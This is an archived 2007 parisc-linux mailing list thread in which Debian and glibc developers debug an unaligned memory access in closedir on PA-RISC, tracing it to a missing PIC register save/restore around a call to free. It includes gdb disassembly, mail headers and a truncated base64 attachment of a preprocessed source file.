   0x40bcb730 <closedir+24>:       addil L%1000,r19,r1
   0x40bcb734 <closedir+28>:       ldw 0(r3),r5
   0x40bcb738 <closedir+32>:       ldw 5b0(r1),ret0
   0x40bcb73c <closedir+36>:       ldw 64(ret0),r20
   0x40bcb740 <closedir+40>:       cmpib,<> 0,r20,0x40bcb7c8 <closedir+176>
   0x40bcb744 <closedir+44>:       copy r20,r22
   0x40bcb748 <closedir+48>:       b,l 0x40bb4aa0,rp
   0x40bcb74c <closedir+52>:       copy r3,r26
   0x40bcb750 <closedir+56>:       copy r5,r26
   0x40bcb754 <closedir+60>:       copy r19,r4
   0x40bcb758 <closedir+64>:       be,l 100(sr2,r0),sr0,r31
   0x40bcb75c <closedir+68>:       ldi 6,r20
   0x40bcb760 <closedir+72>:       copy r4,r19
   0x40bcb764 <closedir+76>:       addil L%1000,r19,r1
 * 0x40bcb768 <closedir+80>:       ldw 5ec(r1),r31
   0x40bcb76c <closedir+84>:       sub r0,ret0,r22
   0x40bcb770 <closedir+88>:       ldi -1000,r20
   0x40bcb774 <closedir+92>:       cmpb,<< r20,ret0,0x40bcb794 <closedir+124>
   0x40bcb778 <closedir+96>:       copy ret0,r21
   0x40bcb77c <closedir+100>:      copy r21,ret0
   0x40bcb780 <closedir+104>:      ldw -54(sp),rp
   0x40bcb784 <closedir+108>:      ldw -3c(sp),r4
   0x40bcb788 <closedir+112>:      ldw -38(sp),r3
   0x40bcb78c <closedir+116>:      bv r0(rp)
   0x40bcb790 <closedir+120>:      ldw,mb -40(sp),r5
   0x40bcb794 <closedir+124>:      mfctl tr3,ret0
   0x40bcb798 <closedir+128>:      ldi -1,r21
   0x40bcb79c <closedir+132>:      add,l ret0,r31,ret0
   0x40bcb7a0 <closedir+136>:      b,l 0x40bcb77c <closedir+100>,r0
   0x40bcb7a4 <closedir+140>:      stw r22,0(ret0)
   0x40bcb7a8 <closedir+144>:      ldi 16,r21
   0x40bcb7ac <closedir+148>:      addil L%1000,r19,r1
   0x40bcb7b0 <closedir+152>:      ldw 5ec(r1),ret0
   0x40bcb7b4 <closedir+156>:      mfctl tr3,r20
   0x40bcb7b8 <closedir+160>:      add,l r20,ret0,r20
   0x40bcb7bc <closedir+164>:      stw r21,0(r20)
   0x40bcb7c0 <closedir+168>:      b,l 0x40bcb77c <closedir+100>,r0
   0x40bcb7c4 <closedir+172>:      ldi -1,r21

The problem does not look obvious (at least to me). Any idea?

Thanks,
Aurelien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Tue, 01 May 2007 22:09:46 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <46379E8A.8080705__12770.2615144246$1416624345$gmane$org@aurel32.net>
References: <20070501194214.GB4309@amd64.aurel32.net>
	<119aab440705011255q81be693v5166a6a984735e06@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624345 23666 80.91.229.3 (22 Nov 2014 02:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2007 20:09:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 01 May 2007 22:09:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 113147DACB;
	Tue,  1 May 2007 14:09:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26432-10; Tue, 1 May 2007 14:09:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE9F27DACE;
	Tue,  1 May 2007 14:09:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EC467DAC6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 14:09:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26498-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 1 May 2007 14:09:42 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 475E17DAAF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 14:09:42 -0600 (MDT)
Original-Received: from volta.aurel32.net ([2001:618:400:fc13:216:d3ff:fe17:fd00])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1HiyfM-0003I2-2i; Tue, 01 May 2007 22:09:40 +0200
Original-Received: from localhost ([127.0.0.1] ident=aurel32)
	by volta.aurel32.net with esmtp (Exim 4.63)
	(envelope-from <aurelien@aurel32.net>)
	id 1HiyfS-0003Dz-SM; Tue, 01 May 2007 22:09:46 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070328)
In-Reply-To: <119aab440705011255q81be693v5166a6a984735e06@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oqwRbhKALi5n1PfRZWtpxWxjZml1ZFgB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24503

Carlos O'Donell a crit :
> On 5/1/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
>> We have just switched to a glibc 2.5 using LT + TLS in Debian. This
>> causes unaligned memory access when using bash:
>>
>> bash(19279): unaligned access to 0x000e1bb2 at ip=0x407cb76b
> 
> Why doesn't this ip match the runtime disassembly you have below?

Well I don't really now. The address return by the kernel is not
aligned, so that's strange. Note that this does not correspond to the
same execution. I run it once to get the entry in the kernel log, and
once with unaligned=signal to get the SIGBUS in gdb.

The address (computed using the contents of r1) matches.

>> Using prctl to trap on aligned access and gdb, the unaligned access
>> seems to be in closedir() (a glibc function), at the point marked by
>> a '*'.
> 
> Is this a dump from disassemble in gdb at runtime?

Yes, running in prctl --unaligned=signal

> What is the value of r19, r2, and r30 at the point of the unaligned access?

rp             0x40bcb753       1086109523
r19            0xe05c6  918982
sp             0xc04b4c00       3226160128

>> The problem does not look obvious (at least to me). Any idea?
> 
> Yes, but I need answers to my three questions :-)

Thanks for your help.

Cheers,
Aurelien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Tue, 1 May 2007 16:59:45 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200705012059.l41Kxj21011265__42340.585779357$1416624345$gmane$org@hiauly1.hia.nrc.ca>
References: <46379E8A.8080705@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624345 23669 80.91.229.3 (22 Nov 2014 02:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: aurelien@aurel32.net (Aurelien Jarno)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 May 2007 21:09:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 01 May 2007 23:09:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3769A7DACB;
	Tue,  1 May 2007 15:09:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02745-05; Tue, 1 May 2007 15:09:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDE137DACE;
	Tue,  1 May 2007 15:09:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8D997DAC6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 15:09:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02745-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 1 May 2007 15:09:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A243D7DAC2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 May 2007 15:09:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l41KxkiJ011266;
	Tue, 1 May 2007 16:59:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l41Kxj21011265;
	Tue, 1 May 2007 16:59:45 -0400 (EDT)
In-Reply-To: <46379E8A.8080705@aurel32.net> from "Aurelien Jarno" at May 1,
	2007 10:09:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: spoEcllvTXs9m6yRbmQ5LWFKRzdyMkPz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24504

> Carlos O'Donell a crit :
> > On 5/1/07, Aurelien Jarno <aurelien@aurel32.net> wrote:
> >> We have just switched to a glibc 2.5 using LT + TLS in Debian. This
> >> causes unaligned memory access when using bash:
> >>
> >> bash(19279): unaligned access to 0x000e1bb2 at ip=0x407cb76b
> > 
> > Why doesn't this ip match the runtime disassembly you have below?
> 
> Well I don't really now. The address return by the kernel is not
> aligned, so that's strange. Note that this does not correspond to the
> same execution. I run it once to get the entry in the kernel log, and
> once with unaligned=signal to get the SIGBUS in gdb.

The two least significant bits in ip contain the priviledge level
of the executing code.  They have to be masked off to get the address
of a faulting instruction.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned access using bash on glibc 2.5
Date: Wed, 02 May 2007 08:38:02 +0200
Lines: 743
Approved: news@gmane.org
Message-ID: <463831CA.4060208__24932.0992305458$1416624346$gmane$org@aurel32.net>
References: <46379E8A.8080705@aurel32.net>	
	<200705012059.l41Kxj21011265@hiauly1.hia.nrc.ca>
	<119aab440705011847o29e04a2eted8aea1e7c0bb041@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------040105010008040601050303"
X-Trace: ger.gmane.org 1416624346 23674 80.91.229.3 (22 Nov 2014 02:45:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 06:38:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 02 May 2007 08:38:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68D447DAF8;
	Wed,  2 May 2007 00:38:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14255-03; Wed, 2 May 2007 00:38:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 076277DAEF;
	Wed,  2 May 2007 00:38:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E54BE7DAEC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 00:38:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13594-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 May 2007 00:38:01 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id E3FA77DAE9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 May 2007 00:37:59 -0600 (MDT)
Original-Received: from volta.aurel32.net ([2001:618:400:fc13:216:d3ff:fe17:fd00])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurelien@aurel32.net>)
	id 1Hj8TL-0007Hf-7k; Wed, 02 May 2007 08:37:55 +0200
Original-Received: from localhost ([127.0.0.1] ident=aurel32)
	by volta.aurel32.net with esmtp (Exim 4.63)
	(envelope-from <aurelien@aurel32.net>)
	id 1Hj8TS-0006VP-8e; Wed, 02 May 2007 08:38:02 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070328)
In-Reply-To: <119aab440705011847o29e04a2eted8aea1e7c0bb041@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ukRRdb8FeWU3n62TZm9nE4UrL0tsZg0K
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24505

This is a multi-part message in MIME format.
--------------040105010008040601050303
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Carlos O'Donell a crit :
> On 5/1/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
>> The two least significant bits in ip contain the priviledge level
>> of the executing code.  They have to be masked off to get the address
>> of a faulting instruction.
> 
> You'll be pleasantly suprised to know we tracked this down to a
> missing save/restore of the PIC register on a library call.
> 
>   0x40bcb744 <closedir+44>:       copy r20,r22
>   0x40bcb748 <closedir+48>:       b,l 0x40bb4aa0,rp
>   0x40bcb74c <closedir+52>:       copy r3,r26
> 
> See this lonely b,l without a PIC register save/restore? That's the
> problem. It's a jump to a stub, which calls free, but free tailcalls
> into __internal_free, and the PIC register isn't restored by free or
> by closedir.
> 
> FWIW I see this aswell when compiling glibc with gcc mainline:
> 
>   10:   6b d3 3f c1     stw r19,-20(sp)
> ../sysdeps/unix/closedir.c:52
>   14:   e8 40 00 00     b,l 1c <__closedir+0x1c>,rp
>                         14: R_PARISC_PCREL17F   free
>   18:   0c a0 10 85     ldw 0(r5),r5
> ../sysdeps/unix/closedir.c:54
>   1c:   08 05 02 5a     copy r5,r26
>   20:   08 13 02 44     copy r19,r4
> 
> Why isn't there a save/restore of the PIC register around the call to
> free? Clearly r19 is being used, notice the save/restore starting on
> "20:".
> 

In case you want to have a closer look, please find attached the
preprocessed file. I will try to reduce the testcase later today.

The problem does not appear at -O0, and start to appears with -O1.

Cheers,
Aurelien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net

--------------040105010008040601050303
Content-Type: application/x-gzip;
 name="closedir.i.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="closedir.i.gz"

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
